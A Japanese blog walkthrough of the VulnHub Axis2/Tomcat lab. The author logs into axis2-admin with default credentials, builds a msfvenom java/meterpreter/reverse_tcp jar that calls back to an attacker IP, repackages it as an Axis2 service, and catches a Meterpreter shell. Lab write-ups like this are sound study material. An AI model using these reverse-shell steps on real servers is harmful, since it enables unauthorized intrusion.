Walkthrough: Pentester Lab Axis2 Web service and Tomcat Manager
Pentester Lab: Axis2 Web service and Tomcat ManagerのWalkthroughです。
https://www.vulnhub.com/entry/pentester-lab-axis2-web-service-and-tomcat-manager,72/
なんとかshell奪うとこまで自力で行けたんですがいざ公式の解説読んでみると自分のやり方と全然違ってました。
ので自分が解いた方法のWalkthrough書くことにしました。
公式の解説は以下で見てください
なお、調査の方法は自分の書いた記事を参考にしています。
kakyouim.hatenablog.com
(ここには解き終わったらその都度追加していってるので、今回の手法も書いてありますが解いてる時点では書いてありません)
ネットワークの調査
echo 192.168.56.{1..254} | xargs -P256 -n1 ping -s1 -c1 -W1 | grep ttl
192.168.56.31が対象のアドレスですね
nmap -p- -sV -sT -A 192.168.56.31
sshとApacheのwebサービスが稼働しているようですね
nikto -h 192.168.56.31
有効なものとしては、
axis2/axis2-admin/
の存在axis2/axis2-admin/login
にuser=admin,password=axis2でログイン可能CVE-2010-2103
(axis2へのXSS)
を検出しています。
クレデンシャル情報が特定できているのはめちゃくちゃありがたいですね。
どうやらaxis2ではログインのためのアカウントがデフォルトで存在しており、そのパスワードが変更されていなかったようですね。
ちなみに、tomcatのバージョンもエラーページから判明しました。
tomcat 6.0.35とnmapから判明したApache 2.2.16をsearchsploit
で検索してみましたが特にそれっぽいExploitは見つかりませんでした。
axis2へ攻撃
上記に先ほど判明したクレデンシャルを入れてログイン。
ログインすると、uploadページがあるのでここからWebshellをアップできそうです!
いろいろググってみると、clusterd
というツールでaxis2にWebshellをアップできるようです。
早速使おう!……と思ったのですがどうやらmsfpayloadがないことでエラーが起きています。現在はmafpayloadはmsfvenomにアップグレードされたため存在しません。
つまりこのツールは動かなそうです。
でも違いはそれだけなのでソースコードを参照して手動でWebshellを設置してみます
これから、この動作をmsfvenomで書き直すと、
sudo msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f jar -o shell.jar
で行けそうです。
これをアップロードしてみます。しかし以下のようなエラーにより動いていません
どうやらservices.xml
とがいうファイルが足りてないようです。
またググってみると、以下のようなページを見つけたのでそれに従ってみます。
https://github.com/hatRiot/clusterd/wiki/Axis2
sudo jar -xvf shell.jar
で一度展開し、
META-INF/
にsrc/module/generate_payload.py
に書かれているservices.xmlを追加。
metasploit/
にsrc/lib/axis2/PayloadServlet.class
を追加.
そして、
sudo jar cvfm shell4.jar META-INF/MANIFEST.MF META-INF metasploit metasploit.dat
で再度jarファイルを作成し、アップロード。
これでエラーなく動いていますね!!
あとはMetasploitを起動して、
use multi/handler set PAYLOAD java/meterpreter/reverse_tcp set LPORT 4444 set LHOST 192.168.56.5 exploit
これでTCPHandlerを待機させておいて、
http://192.168.56.31/axis2/services/shell
にアクセスすることでMeterpreterセッションがつながりました!
ヤッタゼ
でもこれって全然予想解答じゃないんですね……。自分はniktoの結果見て食いついてしまいました
Metasploit使っちゃったんですがこの方法でMetasploit使わずに成功させたいですね
最後に
予想解答ではなかったようですがShell取れたのでヨシ!(違う)
Metasploit使っちゃたので使わないで成功させる方法も考えたい。
Pentesterlab学べることが多くていいですね!